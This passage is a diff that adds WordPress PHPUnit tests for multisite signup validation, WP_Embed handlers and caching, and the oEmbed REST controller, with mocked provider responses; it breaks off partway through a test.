+++ /tags/5.0.20/tests/phpunit/tests/multisite/wpmuValidateUserSignup.php	(revision 56912)
@@ -0,0 +1,162 @@
+<?php
+
+if ( is_multisite() ) :
+
+/**
+ * @group multisite
+ */
+class Tests_Multisite_WpmuValidateUserSignup extends WP_UnitTestCase {
+	/**
+	 * @dataProvider data_user_name
+	 */
+	public function test_user_name( $user_name, $error_message ) {
+		$v = wpmu_validate_user_signup( $user_name, 'foo@example.com' );
+		$this->assertContains( 'user_name', $v['errors']->get_error_codes(), $error_message );
+	}
+
+	public function data_user_name() {
+		return array(
+			array( 'contains spaces', 'User names with spaces are not allowed.' ),
+			array( 'ContainsCaps', 'User names with capital letters are not allowed.'  ),
+			array( 'contains_underscores', 'User names with underscores are not allowed.'  ),
+			array( 'contains%^*()junk', 'User names with non-alphanumeric characters are not allowed.'  ),
+			array( '', 'Empty user names are not allowed.'  ),
+			array( 'foo', 'User names of 3 characters are not allowed.'  ),
+			array( 'fo', 'User names of 2 characters are not allowed.'  ),
+			array( 'f', 'User names of 1 characters are not allowed.'  ),
+			array( 'f', 'User names of 1 characters are not allowed.'  ),
+			array( '12345', 'User names consisting only of numbers are not allowed.'  ),
+			array( 'thisusernamecontainsenoughcharacterstobelongerthan60characters', 'User names longer than 60 characters are not allowed.' ),
+		);
+	}
+
+	public function test_should_fail_for_illegal_names() {
+		$illegal = array( 'foo123', 'bar123' );
+		update_site_option( 'illegal_names', $illegal );
+
+		foreach ( $illegal as $i ) {
+			$v = wpmu_validate_user_signup( $i, 'foo@example.com' );
+			$this->assertContains( 'user_name', $v['errors']->get_error_codes() );
+		}
+	}
+
+	public function test_should_fail_for_unsafe_email_address() {
+		add_filter( 'is_email_address_unsafe', '__return_true' );
+		$v = wpmu_validate_user_signup( 'foo123', 'foo@example.com' );
+		$this->assertContains( 'user_email', $v['errors']->get_error_codes() );
+		remove_filter( 'is_email_address_unsafe', '__return_true' );
+	}
+
+	public function test_should_fail_for_invalid_email_address() {
+		add_filter( 'is_email', '__return_false' );
+		$v = wpmu_validate_user_signup( 'foo123', 'foo@example.com' );
+		$this->assertContains( 'user_email', $v['errors']->get_error_codes() );
+		remove_filter( 'is_email', '__return_false' );
+	}
+
+	public function test_should_fail_for_emails_from_non_whitelisted_domains() {
+		$domains = array( 'foo.com', 'bar.org' );
+		update_site_option( 'limited_email_domains', $domains );
+
+		$v = wpmu_validate_user_signup( 'foo123', 'foo@example.com' );
+		$this->assertContains( 'user_email', $v['errors']->get_error_codes() );
+	}
+
+	public function test_should_fail_for_existing_user_name() {
+		$u = self::factory()->user->create( array( 'user_login' => 'foo123' ) );
+		$v = wpmu_validate_user_signup( 'foo123', 'foo@example.com' );
+		$this->assertContains( 'user_name', $v['errors']->get_error_codes() );
+	}
+
+	public function test_should_fail_for_existing_user_email() {
+		$u = self::factory()->user->create( array( 'user_email' => 'foo@example.com' ) );
+		$v = wpmu_validate_user_signup( 'foo123', 'foo@example.com' );
+		$this->assertContains( 'user_email', $v['errors']->get_error_codes() );
+	}
+
+	public function test_should_fail_for_existing_signup_with_same_username() {
+		// Don't send notifications.
+		add_filter( 'wpmu_signup_user_notification', '__return_true' );
+		wpmu_signup_user( 'foo123', 'foo@example.com' );
+		remove_filter( 'wpmu_signup_user_notification', '__return_true' );
+
+		$v = wpmu_validate_user_signup( 'foo123', 'foo2@example.com' );
+		$this->assertContains( 'user_name', $v['errors']->get_error_codes() );
+	}
+
+	public function test_should_not_fail_for_existing_signup_with_same_username_if_signup_is_old() {
+		// Don't send notifications.
+		add_filter( 'wpmu_signup_user_notification', '__return_true' );
+		wpmu_signup_user( 'foo123', 'foo@example.com' );
+		remove_filter( 'wpmu_signup_user_notification', '__return_true' );
+
+		global $wpdb;
+		$date = date( 'Y-m-d H:i:s', time() - ( 2 * DAY_IN_SECONDS ) - 60 );
+		$wpdb->update( $wpdb->signups, array( 'registered' => $date ), array( 'user_login' => 'foo123' ) );
+
+		$v = wpmu_validate_user_signup( 'foo123', 'foo2@example.com' );
+		$this->assertNotContains( 'user_name', $v['errors']->get_error_codes() );
+	}
+
+	public function test_should_fail_for_existing_signup_with_same_email() {
+		// Don't send notifications.
+		add_filter( 'wpmu_signup_user_notification', '__return_true' );
+		wpmu_signup_user( 'foo123', 'foo@example.com' );
+		remove_filter( 'wpmu_signup_user_notification', '__return_true' );
+
+		$v = wpmu_validate_user_signup( 'foo2', 'foo@example.com' );
+		$this->assertContains( 'user_email', $v['errors']->get_error_codes() );
+	}
+
+	public function test_should_not_fail_for_existing_signup_with_same_email_if_signup_is_old() {
+		// Don't send notifications.
+		add_filter( 'wpmu_signup_user_notification', '__return_true' );
+		wpmu_signup_user( 'foo123', 'foo@example.com' );
+		remove_filter( 'wpmu_signup_user_notification', '__return_true' );
+
+		global $wpdb;
+		$date = date( 'Y-m-d H:i:s', time() - ( 2 * DAY_IN_SECONDS ) - 60 );
+		$wpdb->update( $wpdb->signups, array( 'registered' => $date ), array( 'user_login' => 'foo123' ) );
+
+		$v = wpmu_validate_user_signup( 'foo2', 'foo2@example.com' );
+		$this->assertNotContains( 'user_email', $v['errors']->get_error_codes() );
+	}
+
+	public function test_invalid_email_address_with_no_banned_domains_results_in_error() {
+		$valid = wpmu_validate_user_signup( 'validusername', 'invalid-email' );
+
+		$this->assertContains( 'user_email', $valid['errors']->get_error_codes() );
+	}
+
+	public function test_invalid_email_address_with_banned_domains_results_in_error() {
+		update_site_option( 'banned_email_domains', "bar.com" );
+		$valid = wpmu_validate_user_signup( 'validusername', 'invalid-email' );
+		delete_site_option( 'banned_email_domains' );
+
+		$this->assertContains( 'user_email', $valid['errors']->get_error_codes() );
+	}
+
+	public function test_incomplete_email_address_with_no_banned_domains_results_in_error() {
+		$valid = wpmu_validate_user_signup( 'validusername', 'incomplete@email' );
+
+		$this->assertContains( 'user_email', $valid['errors']->get_error_codes() );
+	}
+
+	public function test_valid_email_address_matching_banned_domain_results_in_error() {
+		update_site_option( 'banned_email_domains', "bar.com" );
+		$valid = wpmu_validate_user_signup( 'validusername', 'email@bar.com' );
+		delete_site_option( 'banned_email_domains' );
+
+		$this->assertContains( 'user_email', $valid['errors']->get_error_codes() );
+	}
+
+	public function test_valid_email_address_not_matching_banned_domain_returns_in_success() {
+		update_site_option( 'banned_email_domains', "bar.com" );
+		$valid = wpmu_validate_user_signup( 'validusername', 'email@example.com' );
+		delete_site_option( 'banned_email_domains' );
+
+		$this->assertNotContains( 'user_email', $valid['errors']->get_error_codes() );
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/oembed/WpEmbed.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/WpEmbed.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/WpEmbed.php	(revision 56912)
@@ -0,0 +1,351 @@
+<?php
+
+/**
+ * @group oembed
+ */
+class Tests_WP_Embed extends WP_UnitTestCase {
+	/**
+	 * @var WP_Embed
+	 */
+	protected $wp_embed;
+
+	public function setUp() {
+		$this->wp_embed = new WP_Embed();
+	}
+
+	public function _embed_handler_callback( $matches, $attr, $url, $rawattr ) {
+		return sprintf( 'Embedded %s', $url );
+	}
+
+	public function _pre_oembed_result_callback() {
+		return '<b>Embedded content</b>';
+	}
+
+	public function test_maybe_run_ajax_cache_should_return_nothing_if_there_is_no_post() {
+		$this->expectOutputString('');
+		$this->wp_embed->maybe_run_ajax_cache();
+	}
+
+	public function test_maybe_run_ajax_cache_should_return_nothing_if_there_is_no_message() {
+		$GLOBALS['post'] = $this->factory()->post->create_and_get( array(
+			'post_title' => 'Hello World',
+		) );
+
+		$this->expectOutputString('');
+
+		$this->wp_embed->maybe_run_ajax_cache();
+		unset( $GLOBALS['post'] );
+	}
+
+	public function test_maybe_run_ajax_cache_should_return_javascript() {
+		$GLOBALS['post'] = $this->factory()->post->create_and_get( array(
+			'post_title' => 'Hello World',
+		) );
+		$_GET['message'] = 'foo';
+
+		$url    = admin_url( 'admin-ajax.php?action=oembed-cache&post=' . $GLOBALS['post']->ID, 'relative' );
+		$actual = get_echo( array( $this->wp_embed, 'maybe_run_ajax_cache' ) );
+
+		unset( $GLOBALS['post'] );
+		unset( $GLOBALS['message'] );
+
+		$this->assertContains( $url, $actual );
+	}
+
+	public function test_wp_maybe_load_embeds() {
+		$this->assertEqualSets( array( 10, 9999 ), array_keys( $GLOBALS['wp_embed']->handlers ) );
+		$this->assertEqualSets( array(
+			'youtube_embed_url',
+		), array_keys( $GLOBALS['wp_embed']->handlers[10] ) );
+		$this->assertEqualSets( array(
+			'audio',
+			'video',
+		), array_keys( $GLOBALS['wp_embed']->handlers[9999] ) );
+	}
+
+	public function test_wp_embed_register_handler() {
+		$handle   = __FUNCTION__;
+		$regex    = '#https?://example\.com/embed/([^/]+)#i';
+		$callback = array( $this, '_embed_handler_callback' );
+
+		wp_embed_register_handler( $handle, $regex, $callback );
+
+		$expected = array(
+			'regex'    => $regex,
+			'callback' => $callback,
+		);
+		$actual   = $GLOBALS['wp_embed']->handlers[10];
+
+		wp_embed_unregister_handler( $handle );
+
+		$this->assertContains( $expected, $actual );
+	}
+
+	public function test_wp_embed_unregister_handler() {
+		$this->assertArrayHasKey( 'youtube_embed_url', $GLOBALS['wp_embed']->handlers[10] );
+
+		wp_embed_unregister_handler( 'youtube_embed_url' );
+
+		$handlers = $GLOBALS['wp_embed']->handlers[10];
+
+		// Restore.
+		wp_embed_register_handler( 'youtube_embed_url', '#https?://(www.)?youtube\.com/(?:v|embed)/([^/]+)#i', 'wp_embed_handler_youtube' );
+
+		$this->assertArrayNotHasKey( 'youtube_embed_url', $handlers );
+	}
+
+	public function test_autoembed_should_do_nothing_without_matching_handler() {
+		$content = "\nhttp://example.com/embed/foo\n";
+
+		$actual = $this->wp_embed->autoembed( $content );
+		$this->assertEquals( $content, $actual );
+	}
+
+	public function test_autoembed_should_return_modified_content() {
+		$handle   = __FUNCTION__;
+		$regex    = '#https?://example\.com/embed/([^/]+)#i';
+		$callback = array( $this, '_embed_handler_callback' );
+
+		wp_embed_register_handler( $handle, $regex, $callback );
+
+		$content = "\nhttp://example.com/embed/foo\n";
+
+		$actual = $GLOBALS['wp_embed']->autoembed( $content );
+		wp_embed_unregister_handler( $handle );
+
+		$this->assertEquals( "\nEmbedded http://example.com/embed/foo\n", $actual );
+	}
+
+	public function test_delete_oembed_caches() {
+		$post_id = $this->factory()->post->create();
+
+		add_post_meta( $post_id, '_oembed_foo', 'bar' );
+		add_post_meta( $post_id, '_oembed_foo', 'baz' );
+		add_post_meta( $post_id, '_oembed_baz', 'foobar', true );
+
+		$this->wp_embed->delete_oembed_caches( $post_id );
+
+		$this->assertEquals( array(), get_post_meta( $post_id, '_oembed_foo' ) );
+		$this->assertEquals( array(), get_post_meta( $post_id, '_oembed_baz' ) );
+	}
+
+	public function test_cache_oembed_invalid_post_type() {
+		$post_id = $this->factory()->post->create( array( 'post_type' => 'nav_menu_item' ) );
+
+		$this->wp_embed->cache_oembed( $post_id );
+		$this->assertNotSame( $post_id, $this->wp_embed->post_ID );
+	}
+
+	public function test_cache_oembed_empty_content() {
+		$post_id = $this->factory()->post->create( array( 'post_content' => '' ) );
+
+		$this->wp_embed->cache_oembed( $post_id );
+		$this->assertNotSame( $post_id, $this->wp_embed->post_ID );
+	}
+
+	public function test_cache_oembed_for_post() {
+		$url           = 'https://example.com/';
+		$expected      = '<b>Embedded content</b>';
+		$key_suffix    = md5( $url . serialize( wp_embed_defaults( $url ) ) );
+		$cachekey      = '_oembed_' . $key_suffix;
+		$cachekey_time = '_oembed_time_' . $key_suffix;
+
+		$post_id = $this->factory()->post->create( array( 'post_content' => 'https://example.com/' ) );
+
+		add_filter( 'pre_oembed_result', array( $this, '_pre_oembed_result_callback' ) );
+		$this->wp_embed->cache_oembed( $post_id );
+		remove_filter( 'pre_oembed_result', array( $this, '_pre_oembed_result_callback' ) );
+
+		$this->assertSame( $post_id, $this->wp_embed->post_ID );
+		$this->assertEquals( $expected, get_post_meta( $post_id, $cachekey, true ) );
+		$this->assertNotEmpty( get_post_meta( $post_id, $cachekey_time, true ) );
+	}
+
+	public function test_shortcode_should_get_cached_data_from_post_meta_for_known_post() {
+		global $post;
+
+		$post = $this->factory()->post->create_and_get();
+		$url             = 'https://example.com/';
+		$expected        = '<b>Embedded content</b>';
+		$key_suffix      = md5( $url . serialize( wp_embed_defaults( $url ) ) );
+		$cachekey        = '_oembed_' . $key_suffix;
+
+		add_post_meta( $post->ID, $cachekey, $expected );
+
+		add_filter( 'pre_oembed_result', array( $this, '_pre_oembed_result_callback' ) );
+		$actual = $this->wp_embed->shortcode( array(), $url );
+		remove_filter( 'pre_oembed_result', array( $this, '_pre_oembed_result_callback' ) );
+
+		$actual_2 = $this->wp_embed->shortcode( array(), $url );
+
+		$cached = get_post_meta( $post->ID, $cachekey, true );
+
+		// Cleanup.
+		unset( $post );
+
+		$this->assertEquals( $expected, $actual );
+		$this->assertEquals( $expected, $actual_2 );
+		$this->assertEquals( $expected, $cached );
+	}
+
+	public function test_shortcode_should_get_cached_failure_from_post_meta_for_known_post() {
+		global $post;
+
+		$post = $this->factory()->post->create_and_get();
+		$url             = 'https://example.com/';
+		$expected        = '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>';
+		$key_suffix      = md5( $url . serialize( wp_embed_defaults( $url ) ) );
+		$cachekey        = '_oembed_' . $key_suffix;
+		$cachekey_time   = '_oembed_time_' . $key_suffix;
+
+		add_post_meta( $post->ID, $cachekey, '{{unknown}}' );
+		add_post_meta( $post->ID, $cachekey_time, 0 );
+
+		add_filter( 'pre_oembed_result', '__return_empty_string' );
+		$actual = $this->wp_embed->shortcode( array(), $url );
+		remove_filter( 'pre_oembed_result', '__return_empty_string' );
+
+		// Result should be cached.
+		$actual_2 = $this->wp_embed->shortcode( array(), $url );
+
+		$cached = get_post_meta( $post->ID, $cachekey, true );
+		$cached_time = get_post_meta( $post->ID, $cachekey_time, true );
+
+		// Cleanup.
+		unset( $post );
+
+		$this->assertEquals( $expected, $actual );
+		$this->assertEquals( '{{unknown}}', $cached );
+		$this->assertEmpty( $cached_time );
+		$this->assertEquals( $expected, $actual_2 );
+	}
+
+	/**
+	 * @ticket 34115
+	 */
+	public function test_shortcode_should_cache_data_in_custom_post() {
+		$url        = 'https://example.com/';
+		$expected   = '<b>Embedded content</b>';
+		$key_suffix = md5( $url . serialize( wp_embed_defaults( $url ) ) );
+
+		add_filter( 'pre_oembed_result', array( $this, '_pre_oembed_result_callback' ) );
+		$actual = $this->wp_embed->shortcode( array(), $url );
+		remove_filter( 'pre_oembed_result', array( $this, '_pre_oembed_result_callback' ) );
+
+		$oembed_post_id = $this->wp_embed->find_oembed_post_id( $key_suffix );
+		$post_content = get_post( $oembed_post_id )->post_content;
+
+		// Result should be cached.
+		$actual_2 = $this->wp_embed->shortcode( array(), $url );
+
+		wp_delete_post( $oembed_post_id );
+
+		$this->assertNotNull( $oembed_post_id );
+		$this->assertEquals( $expected, $post_content );
+		$this->assertEquals( $expected, $actual );
+		$this->assertEquals( $expected, $actual_2 );
+	}
+
+	/**
+	 * @ticket 34115
+	 */
+	public function test_shortcode_should_cache_failure_in_custom_post() {
+		$url        = 'https://example.com/';
+		$expected   = '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>';
+		$key_suffix = md5( $url . serialize( wp_embed_defaults( $url ) ) );
+
+		add_filter( 'pre_oembed_result', '__return_empty_string' );
+		$actual = $this->wp_embed->shortcode( array(), $url );
+		remove_filter( 'pre_oembed_result', '__return_empty_string' );
+
+		$oembed_post_id = $this->wp_embed->find_oembed_post_id( $key_suffix );
+		$post_content = get_post( $oembed_post_id )->post_content;
+
+		// Result should be cached.
+		$actual_2 = $this->wp_embed->shortcode( array(), $url );
+
+		wp_delete_post( $oembed_post_id );
+
+		$this->assertEquals( $expected, $actual );
+		$this->assertEquals( $expected, $actual_2 );
+		$this->assertNotNull( $oembed_post_id );
+		$this->assertEquals( '{{unknown}}', $post_content );
+	}
+
+	/**
+	 * Test that parsing an embed shortcode should cause oembed_cache to be updated.
+	 *
+	 * @ticket 42310
+	 */
+	public function test_shortcode_should_update_custom_post() {
+		add_filter( 'oembed_ttl', '__return_zero' );
+
+		$url        = 'https://example.com/';
+		$embedded   = '<b>Embedded content</b>';
+		$key_suffix = md5( $url . serialize( wp_embed_defaults( $url ) ) );
+
+		add_filter( 'pre_oembed_result', '__return_empty_string' );
+		$this->wp_embed->shortcode( array(), $url );
+		remove_filter( 'pre_oembed_result', '__return_empty_string' );
+
+		$oembed_post_id = $this->wp_embed->find_oembed_post_id( $key_suffix );
+
+		$this->assertSame( '{{unknown}}', get_post( $oembed_post_id )->post_content );
+
+		$previous_usecache = $this->wp_embed->usecache;
+		$this->wp_embed->usecache = false;
+
+		// The update cannot be empty because empty responses won't overwrite the cache.
+		add_filter( 'pre_oembed_result', array( $this, '_pre_oembed_result_callback' ) );
+		$this->wp_embed->shortcode( array(), $url );
+		remove_filter( 'pre_oembed_result', array( $this, '_pre_oembed_result_callback' ) );
+
+		$this->assertSame( $embedded, get_post( $oembed_post_id )->post_content );
+
+		$this->wp_embed->usecache = $previous_usecache;
+		remove_filter( 'oembed_ttl', '__return_zero' );
+	}
+
+	public function test_shortcode_should_get_url_from_src_attribute() {
+		$url    = 'http://example.com/embed/foo';
+		$actual = $this->wp_embed->shortcode( array( 'src' => $url ) );
+
+		$this->assertEquals( '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>', $actual );
+	}
+
+	public function test_shortcode_should_return_empty_string_for_missing_url() {
+		$this->assertEmpty( $this->wp_embed->shortcode( array() ) );
+	}
+
+	public function test_shortcode_should_make_link_for_unknown_url() {
+		$url    = 'http://example.com/embed/foo';
+		$actual = $this->wp_embed->shortcode( array(), $url );
+
+		$this->assertEquals( '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>', $actual );
+	}
+
+	public function test_run_shortcode_url_only() {
+		$url    = 'http://example.com/embed/foo';
+		$actual = $this->wp_embed->run_shortcode( '[embed]' . $url . '[/embed]' );
+		$this->assertEquals( '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>', $actual );
+	}
+
+	public function test_maybe_make_link() {
+		$url    = 'http://example.com/embed/foo';
+		$actual = $this->wp_embed->maybe_make_link( $url );
+
+		$this->assertEquals( '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>', $actual );
+	}
+
+	public function test_maybe_make_link_return_false_on_fail() {
+		$this->wp_embed->return_false_on_fail = true;
+		$this->assertFalse( $this->wp_embed->maybe_make_link( 'http://example.com/' ) );
+	}
+
+	public function test_maybe_make_link_do_not_link_if_unknown() {
+		$url = 'http://example.com/';
+
+		$this->wp_embed->linkifunknown = false;
+		$this->assertEquals( $url, $this->wp_embed->maybe_make_link( $url ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/oembed/controller.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/oembed/controller.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/oembed/controller.php	(revision 56912)
@@ -0,0 +1,751 @@
+<?php
+
+/**
+ * @group oembed
+ * @group restapi
+ */
+class Test_oEmbed_Controller extends WP_UnitTestCase {
+	/**
+	 * @var WP_REST_Server
+	 */
+	protected $server;
+	protected static $editor;
+	protected static $administrator;
+	protected static $subscriber;
+	const YOUTUBE_VIDEO_ID = 'OQSNhk5ICTI';
+	const INVALID_OEMBED_URL = 'https://www.notreallyanoembedprovider.com/watch?v=awesome-cat-video';
+	const UNTRUSTED_PROVIDER_URL = 'https://www.untrustedprovider.com';
+
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$subscriber = $factory->user->create( array(
+			'role' => 'subscriber',
+		) );
+		self::$editor = $factory->user->create( array(
+			'role'       => 'editor',
+			'user_email' => 'editor@example.com',
+		) );
+		self::$administrator = $factory->user->create( array(
+			'role'       => 'administrator',
+			'user_email' => 'administrator@example.com',
+		) );
+	}
+
+	public static function wpTearDownAfterClass() {
+		self::delete_user( self::$subscriber );
+		self::delete_user( self::$editor );
+	}
+
+	public function setUp() {
+		parent::setUp();
+
+		/** @var WP_REST_Server $wp_rest_server */
+		global $wp_rest_server;
+		$this->server = $wp_rest_server = new Spy_REST_Server();
+
+		do_action( 'rest_api_init', $this->server );
+		add_filter( 'pre_http_request', array( $this, 'mock_embed_request' ), 10, 3 );
+		add_filter( 'oembed_result', array( $this, 'filter_oembed_result' ), 10, 3 );
+		$this->request_count = 0;
+
+		$this->oembed_result_filter_count = 0;
+	}
+
+	public function tearDown() {
+		parent::tearDown();
+
+		remove_filter( 'pre_http_request', array( $this, 'mock_embed_request' ), 10 );
+		remove_filter( 'oembed_result', array( $this, 'filter_oembed_result' ), 10 );
+	}
+
+	/**
+	 * Count of the number of requests attempted.
+	 *
+	 * @var int
+	 */
+	public $request_count = 0;
+
+	/**
+	 * Count of the number of times the oembed_result filter was called.
+	 *
+	 * @var int
+	 */
+	public $oembed_result_filter_count = 0;
+
+	/**
+	 * Intercept oEmbed requests and mock responses.
+	 *
+	 * @param mixed  $preempt Whether to preempt an HTTP request's return value. Default false.
+	 * @param mixed  $r       HTTP request arguments.
+	 * @param string $url     The request URL.
+	 * @return array Response data.
+	 */
+	public function mock_embed_request( $preempt, $r, $url ) {
+		unset( $preempt, $r );
+
+		$parsed_url = wp_parse_url( $url );
+		$query      = isset( $parsed_url['query'] ) ? $parsed_url['query'] : '';
+		parse_str( $query, $query_params );
+		$this->request_count += 1;
+
+		// Mock request to YouTube Embed.
+		if ( ! empty( $query_params['url'] ) && false !== strpos( $query_params['url'], self::YOUTUBE_VIDEO_ID ) ) {
+			return array(
+				'response' => array(
+					'code' => 200,
+				),
+				'body'     => wp_json_encode(
+					array(
+						'version'          => '1.0',
+						'type'             => 'video',
+						'provider_name'    => 'YouTube',
+						'provider_url'     => 'https://www.youtube.com',
+						'thumbnail_width'  => $query_params['maxwidth'],
+						'width'            => $query_params['maxwidth'],
+						'thumbnail_height' => $query_params['maxheight'],
+						'height'           => $query_params['maxheight'],
+						'html'             => '<b>Unfiltered</b><iframe width="' . $query_params['maxwidth'] . '" height="' . $query_params['maxheight'] . '" src="https://www.youtube.com/embed/' . self::YOUTUBE_VIDEO_ID . '?feature=oembed" frameborder="0" allowfullscreen></iframe>',
+						'author_name'      => 'Yosemitebear62',
+						'thumbnail_url'    => 'https://i.ytimg.com/vi/' . self::YOUTUBE_VIDEO_ID . '/hqdefault.jpg',
+						'title'            => 'Yosemitebear Mountain Double Rainbow 1-8-10',
+					)
+				),
+			);
+		}
+
+		if ( $url === self::UNTRUSTED_PROVIDER_URL ) {
+			return array(
+				'response' => array(
+					'code' => 200,
+				),
+				'body'     => '<html><head><link rel="alternate" type="application/json+oembed" href="' . self::UNTRUSTED_PROVIDER_URL . '" /></head><body></body></html>',
+			);
+		}
+
+		if ( ! empty( $query_params['url'] ) && false !== strpos( $query_params['url'], self::UNTRUSTED_PROVIDER_URL ) ) {
+			return array(
+				'response' => array(
+					'code' => 200,
+				),
+				'body'     => wp_json_encode(
+					array(
+						'version'          => '1.0',
+						'type'             => 'rich',
+						'provider_name'    => 'Untrusted',
+						'provider_url'     => self::UNTRUSTED_PROVIDER_URL,
+						'html'             => '<b>Filtered</b><a href="">Unfiltered</a>',
+						'author_name'      => 'Untrusted Embed Author',
+						'title'            => 'Untrusted Embed',
+					)
+				),
+			);
+		}
+
+		return array(
+			'response' => array(
+				'code' => 404,
+			),
+		);
+	}
+
+	/**
+	 * Filters 'oembed_result' to ensure correct type.
+	 *
+	 * @param string|false $data The returned oEmbed HTML.
+	 * @param string       $url  URL of the content to be embedded.
+	 * @param array        $args Optional arguments, usually passed from a shortcode.
+	 * @return string
+	 */
+	public function filter_oembed_result( $data, $url, $args ) {
+		if ( ! is_string( $data ) && false !== $data ) {
+			$this->fail( 'Unexpected type for $data.' );
+		}
+		$this->assertInternalType( 'string', $url );
+		$this->assertInternalType( 'array', $args );
+		$this->oembed_result_filter_count++;
+		return $data;
+	}
+
+	function test_wp_oembed_ensure_format() {
+		$this->assertEquals( 'json', wp_oembed_ensure_format( 'json' ) );
+		$this->assertEquals( 'xml', wp_oembed_ensure_format( 'xml' ) );
+		$this->assertEquals( 'json', wp_oembed_ensure_format( 123 ) );
+		$this->assertEquals( 'json', wp_oembed_ensure_format( 'random' ) );
+		$this->assertEquals( 'json', wp_oembed_ensure_format( array() ) );
+	}
+
+	function test_oembed_create_xml() {
+		$actual = _oembed_create_xml( array(
+			'foo'  => 'bar',
+			'bar'  => 'baz',
+			'ping' => 'pong',
+		) );
+
+		$expected = '<oembed><foo>bar</foo><bar>baz</bar><ping>pong</ping></oembed>';
+
+		$this->assertStringEndsWith( $expected, trim( $actual ) );
+
+		$actual = _oembed_create_xml( array(
+			'foo'  => array(
+				'bar' => 'baz',
+			),
+			'ping' => 'pong',
+		) );
+
+		$expected = '<oembed><foo><bar>baz</bar></foo><ping>pong</ping></oembed>';
+
+		$this->assertStringEndsWith( $expected, trim( $actual ) );
+
+		$actual = _oembed_create_xml( array(
+			'foo'   => array(
+				'bar' => array(
+					'ping' => 'pong',
+				),
+			),
+			'hello' => 'world',
+		) );
+
+		$expected = '<oembed><foo><bar><ping>pong</ping></bar></foo><hello>world</hello></oembed>';
+
+		$this->assertStringEndsWith( $expected, trim( $actual ) );
+
+		$actual = _oembed_create_xml( array(
+			array(
+				'foo' => array(
+					'bar',
+				),
+			),
+			'helloworld',
+		) );
+
+		$expected = '<oembed><oembed><foo><oembed>bar</oembed></foo></oembed><oembed>helloworld</oembed></oembed>';
+
+		$this->assertStringEndsWith( $expected, trim( $actual ) );
+	}
+
+	public function test_route_availability() {
+		// Check the route was registered correctly.
+		$filtered_routes = $this->server->get_routes();
+		$this->assertArrayHasKey( '/oembed/1.0/embed', $filtered_routes );
+		$route = $filtered_routes['/oembed/1.0/embed'];
+		$this->assertCount( 1, $route );
+		$this->assertArrayHasKey( 'callback', $route[0] );
+		$this->assertArrayHasKey( 'methods', $route[0] );
+		$this->assertArrayHasKey( 'args', $route[0] );
+
+		// Check proxy route registration.
+		$this->assertArrayHasKey( '/oembed/1.0/proxy', $filtered_routes );
+		$proxy_route = $filtered_routes['/oembed/1.0/proxy'];
+		$this->assertCount( 1, $proxy_route );
+		$this->assertArrayHasKey( 'callback', $proxy_route[0] );
+		$this->assertArrayHasKey( 'permission_callback', $proxy_route[0] );
+		$this->assertArrayHasKey( 'methods', $proxy_route[0] );
+		$this->assertArrayHasKey( 'args', $proxy_route[0] );
+	}
+
+	function test_request_with_wrong_method() {
+		$request = new WP_REST_Request( 'POST', '/oembed/1.0/embed' );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertEquals( 'rest_no_route', $data['code'] );
+	}
+
+	function test_request_without_url_param() {
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertEquals( 'rest_missing_callback_param', $data['code'] );
+		$this->assertEquals( 'url', $data['data']['params'][0] );
+	}
+
+	function test_request_with_bad_url() {
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', 'http://google.com/' );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertEquals( 'oembed_invalid_url', $data['code'] );
+	}
+
+	function test_request_invalid_format() {
+		$post_id = $this->factory()->post->create();
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', get_permalink( $post_id ) );
+		$request->set_param( 'format', 'random' );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertInternalType( 'array', $data );
+		$this->assertNotEmpty( $data );
+	}
+
+	function test_request_json() {
+		$user = self::factory()->user->create_and_get( array(
+			'display_name' => 'John Doe',
+		) );
+		$post = self::factory()->post->create_and_get( array(
+			'post_author' => $user->ID,
+			'post_title'  => 'Hello World',
+		) );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', get_permalink( $post->ID ) );
+		$request->set_param( 'maxwidth', 400 );
+
+		$response = $this->server->dispatch( $request );
+		$data     = $response->get_data();
+
+		$this->assertInternalType( 'array', $data );
+		$this->assertNotEmpty( $data );
+
+		$this->assertArrayHasKey( 'version', $data );
+		$this->assertArrayHasKey( 'provider_name', $data );
+		$this->assertArrayHasKey( 'provider_url', $data );
+		$this->assertArrayHasKey( 'author_name', $data );
+		$this->assertArrayHasKey( 'author_url', $data );
+		$this->assertArrayHasKey( 'title', $data );
+		$this->assertArrayHasKey( 'type', $data );
+		$this->assertArrayHasKey( 'width', $data );
+
+		$this->assertEquals( '1.0', $data['version'] );
+		$this->assertEquals( get_bloginfo( 'name' ), $data['provider_name'] );
+		$this->assertEquals( get_home_url(), $data['provider_url'] );
+		$this->assertEquals( $user->display_name, $data['author_name'] );
+		$this->assertEquals( get_author_posts_url( $user->ID, $user->user_nicename ), $data['author_url'] );
+		$this->assertEquals( $post->post_title, $data['title'] );
+		$this->assertEquals( 'rich', $data['type'] );
+		$this->assertTrue( $data['width'] <= $request['maxwidth'] );
+	}
+
+	/**
+	 * @ticket 34971
+	 */
+	function test_request_static_front_page() {
+		$post = self::factory()->post->create_and_get( array(
+			'post_title' => 'Front page',
+			'post_type'  => 'page',
+		) );
+
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_on_front', $post->ID );
+
+		$request = new WP_REST_Request( 'GET', '/oembed/1.0/embed' );
+		$request->set_param( 'url', home_url() );
+		$request->set_param( 'maxwidth', 400 );
+
